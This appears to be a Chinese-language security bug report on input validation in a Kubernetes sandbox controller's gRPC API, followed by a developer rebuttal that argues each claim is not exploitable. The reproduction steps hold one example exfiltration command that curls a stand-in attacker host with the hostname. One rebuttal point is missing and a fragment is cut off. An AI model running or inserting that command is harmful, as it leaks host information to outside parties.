1、gRPC 层只做非空校验(sandbox_provider.go:106),Scheduler 直接拿 sandboxId 当 CR 名(sandbox_controller.go:597 注释就是 "CR name is the sandboxID"),还写进 label sandbox.flux.io/sandbox-id。非法字符/超 253 字符的名字和超 63 字符的 label 值都会被 API Server 拒绝——不存在注入
2、 换行符日志注入:不成立
Controller 和 Scheduler 的全部日志都走 slog.NewJSONHandler(cmd/flux-sandbox-controller/main.go:84、cmd/flux-sandbox-scheduler/main.go:67),JSON handler 会把换行等控制字符转义成 \n 字面量,无法伪造日志行
3、 labels 特殊字符直接写 CR:透传属实,无注入面
K8s API Server 对 metadata.labels 有强制校验(key 格式、value ≤63 字符、字符集),labels 又是结构化 map 而非字符串拼接,注入不成立
4、label_selector 异常字符:基本不成立
client.MatchingLabels/HasLabels 是结构化 selector,不是字符串拼进查询的;非法值由 API Server 返回 400,HasLabels 路径还是内存过滤。最多是错误信息不够友好,无安全影响。
5、entrypoint/args 危险命令:设计使然,不是漏洞
5.1、容器 Command/Args 是 argv 直传(execve),不经 shell。*"(bootstrap.sh:209-227)——这是 opensandbox 上游文档化的特性(允许 cmd1 && cmd2),不是被注入出来的。
5.3、沙箱产品的语义就是“用户在自己的沙箱里运行自己选的代码”,调用者创建的是自己的沙箱,不存在跨信任边界。opensandbox 上游同样零过滤直写容器 Command,且 OSEP-0004 明文:"OpenSandbox is designed to execute untrusted code",缓解手段是 gVisor/Kata/Firecracker 等 secure runtime 加 egress 网络策略,不是命令黑白名单。给 Command/Args 加黑名单反而会破坏兼容性(合法场景如 -c)


环境信息/ Environment
问题简述/ Brief Description
Controller gRPC 接口对入参(sandboxId、labels、entrypoint、args、label_selector 等)仅做非空校验后即透传至 K8s CR Name、Label Selector、容器 Command/Args 等高危位置,未做长度、字符、换行符等校验,存在日志注入、K8s API 拒绝、容器命令注入等安全风险。
问题详情&复现步骤 / Details & Reproduction Steps
sandboxId传入特殊字符(引号、分号等)→ 透传至 K8s CR 名称,由 API Server 后置拒绝。sandboxId传入换行符 → 写入日志时换行,可伪造日志条目(日志注入)。sandboxId传入超长字符串(1000+ 字符)→ 无长度上限校验,直接透传。PatchSandbox的 labels key/value 传入特殊字符或换行符 → 直接写入 Sandbox CR labels,无字符白名单。ListSandboxes的 label_selector 传入异常字符 → 直接用于 K8s label 查询,无前置过滤。entrypoint/args传入危险命令模式(如sh -c "curl http://attacker/$(hostname)")→ 直接写入容器 Command/Args 字段,无黑名单。期望结果/ Expected Results
gRPC 入参应在 Controller 层做严格校验:长度、字符白名单、换行符、危险命令模式等。非法输入在进入业务逻辑前被前置拒绝;含换行符的输入不应造成日志注入。
实际结果/Actual Results